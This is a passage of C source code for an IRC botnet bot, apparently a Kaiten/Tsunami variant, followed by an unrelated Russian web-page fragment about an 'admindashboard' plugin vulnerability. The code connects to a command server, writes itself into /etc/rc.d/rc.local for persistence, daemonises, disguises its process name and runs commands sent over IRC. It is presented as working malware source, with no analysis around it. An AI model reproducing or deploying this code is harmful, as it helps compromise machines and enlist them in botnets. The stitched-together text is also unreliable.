        { "005", _376 },
        { "433", _433 },
        { "422", _376 },
        { "PRIVMSG", _PRIVMSG },
        { "PING", _PING },
        { "NICK", _NICK },
{ (char *)0, (void (*)(int,char *,char *))0 } };
void con() {
        struct sockaddr_in srv;
        unsigned long ipaddr,start;
        int flag;
        struct hostent *hp;
start:
        sock=-1;
        flag=1;
        if (changeservers == 0) server=servers[rand()%numservers];
        changeservers=0;
        while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
        if (inet_addr(server) == 0 || inet_addr(server) == -1) {
                if ((hp = gethostbyname(server)) == NULL) {
                        server=NULL;
                        close(sock);
                        goto start;
                }
                bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
        }
        else srv.sin_addr.s_addr=inet_addr(server);
        srv.sin_family = AF_INET;
        srv.sin_port = htons(2525);
        ioctl(sock,FIONBIO,&flag);
        start=time(NULL);
        while(time(NULL)-start < 10) {
                errno=0;
                if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
                        setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
                        setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
                        setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
                        return;
                }
                if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
                sleep(1);
        }
        server=NULL;
        close(sock);
        goto start;
}

int main(int argc, char **argv) {
        int on,i;
        char cwd[256],*str;
        FILE *file;
        char buf[512]={0};


        int n;
         n = readlink("/proc/self/exe", buf, 512);
                buf[n] = 0;

               // sprintf(buf,"%sx");
               //strcat("x",buf);
               buf[ strlen(buf) ] = '.';
               buf[ strlen(buf) ] = 'o';
//printf("Opening %sn",buf);

int pid_file = open(buf, O_CREAT | O_RDWR, 0666);
int rc = flock(pid_file, LOCK_EX | LOCK_NB);
if(rc) {

    if(EWOULDBLOCK == errno)
;
//printf("another instance runningn"); //    ;  another instance is running
exit(1);

}

#ifdef STARTUP
printf("We gon add shit");
        str="/etc/rc.d/rc.local";
        file=fopen(str,"r");
        if (file == NULL) {
                str="/etc/rc.conf";
                file=fopen(str,"r");
        }
        if (file != NULL) {
                char outfile[256], buf[1024];
                int i=strlen(argv[0]), d=0;
                getcwd(cwd,256);
                if (strcmp(cwd,"/")) {
                        while(argv[0][i] != '/') i--;
                        sprintf(outfile,""%s%s"n",cwd,argv[0]+i);
                        while(!feof(file)) {
                                fgets(buf,1024,file);
                                if (!strcasecmp(buf,outfile)) d++;
                        }
                        if (d == 0) {
                                FILE *out;
                                fclose(file);
                                out=fopen(str,"a");
                                if (out != NULL) {
                                        fputs(outfile,out);
                                        fclose(out);
                                }
                        }
                        else fclose(file);
                }
                else fclose(file);
        }
#endif
        if (fork()) exit(0);
#ifdef FAKENAME
        strncpy(argv[0],FAKENAME,strlen(argv[0]));
        for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
#endif
        srand((time(NULL) ^ getpid()) + getppid());
//free(nick2);
//printf("freeing nick2");
nick2=makestring();
//printf("made string");
//strcpy(nick,"wtf-");
nick=makestring();
if (getuid() == 0){  sprintf(nick,"%s%s","r00t-",makestring()); }
if (getuid() != 0){  sprintf(nick,"%s%s","NR-",makestring()); }
//strcpy(nick,nick2);
        ident=makestring();
        user=makestring();
        chan=CHAN;
        key=KEY;
        server=NULL;
sa:
#ifdef IDENT
        for (i=0;i<numpids;i++) {
                if (pids[i] != 0 && pids[i] != getpid()) {
                        kill(pids[i],9);
                        waitpid(pids[i],NULL,WNOHANG);
                }
        }
        pids=NULL;
        numpids=0;
        identd();
#endif
        con();
        Send(sock,"NICK %snUSER %s localhost localhost :%sn",nick,ident,user);
        while(1) {
                unsigned long i;
                fd_set n;
                struct timeval tv;
                FD_ZERO(&n);
                FD_SET(sock,&n);
                tv.tv_sec=60*20;
                tv.tv_usec=0;
                if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
                for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
                        unsigned int *newpids,on;
                        for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
                        pids[on-1]=0;
                        numpids--;
                        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
                        for (on=0;on<numpids;on++) newpids[on]=pids[on];
                        free(pids);
                        pids=newpids;
                }
                if (FD_ISSET(sock,&n)) {
                        char buf[4096], *str;
                        int i;
                        if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
                        buf[i]=0;
                        str=strtok(buf,"n");
                        while(str && *str) {
                                char name[1024], sender[1024];
                                filter(str);
                                if (*str == ':') {
                                        for (i=0;i<strlen(str) && str[i] != ' ';i++);
                                        str[i]=0;
                                        strcpy(sender,str+1);
                                        strcpy(str,str+i+1);
                                }
                                else strcpy(sender,"*");
                                for (i=0;i<strlen(str) && str[i] != ' ';i++);
                                str[i]=0;
                                strcpy(name,str);
                                strcpy(str,str+i+1);
                                for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
                                if (!strcasecmp(name,"ERROR")) goto sa;
                                str=strtok((char*)NULL,"n");
                        }
                }
        }
        return 0;
}

В предлагаемых решениях по закрытию уязвимости пока только удаление плагина «admindashboard», но без него web-интерфейс совсем непризентабелен для клиентов. Выход один — используйте фаервол.

* - обязательные к заполнению поля


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